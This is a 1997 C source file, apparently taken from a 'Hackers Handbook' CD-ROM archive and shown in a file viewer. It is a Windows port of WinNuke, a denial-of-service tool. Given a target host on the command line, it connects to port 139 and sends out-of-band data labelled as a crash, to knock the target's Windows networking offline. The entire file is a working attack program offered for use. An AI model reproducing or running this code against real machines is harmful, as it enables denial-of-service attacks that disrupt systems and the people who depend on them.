home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Hackers Handbook - Millenium Edition
/
Hackers Handbook.iso
/
files
/
c_scripts
/
winnuke_mod_windows.c
< prev
next >
Wrap
C/C++ Source or Header
|
1997-09-25
|
2KB
|
78 lines
/* winnuke.c - (05/07/97) By _eci */
/* modified for Windows (05/13/97) By _wfx */
/* Tested on Win NT 4.0 */
#include <stdio.h>
#include <string.h>
#include <winsock.h>
#define dport 139 /* Attack port: 139 is what we want */
int x, s;
char *str = "Bye"; /* Makes no diff */
struct sockaddr_in addr, spoofedaddr;
struct hostent *host;
int open_sock(int sock, char *server, short port) {
struct sockaddr_in blah;
struct hostent *he;
memset((char *)&blah,'0', sizeof(blah));
blah.sin_family=AF_INET;
blah.sin_addr.s_addr=inet_addr(server);
blah.sin_port=htons(port);
if ((he = gethostbyname(server)) != NULL) {
memcpy((char *)&blah.sin_addr, he->h_addr, he->h_length );
}
else {
if ((blah.sin_addr.s_addr = inet_addr(server)) < 0) {
perror("gethostbyname()");
return(-3);
}
}
if (connect(sock,(struct sockaddr *)&blah,16)==-1) {
perror("connect()");
closesocket(sock);
return(-4);
}
printf("Connected to [%s:%d].\n",server,port);
return 0;
}
void main(int argc, char *argv[]) {
WSADATA wsaData;
int err;
WORD wVersionRequested = MAKEWORD(1, 1);
if (argc != 2) {
printf("Usage: %s <target>\n",argv[0]);
exit(0);
}
wVersionRequested = MAKEWORD(1, 1);
if ( (err = WSAStartup(wVersionRequested, &wsaData)) != 0 ) {
printf("Could not initialize Winsock.");
exit(0);
}
if ( (s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
{
printf("%d ", WSAGetLastError());
perror("socket()");
exit(-1);
}
open_sock(s,argv[1],dport);
printf("Sending crash... ");
send(s,str,strlen(str),MSG_OOB);
sleep(100000);
printf("Done!\n");
closesocket(s);
}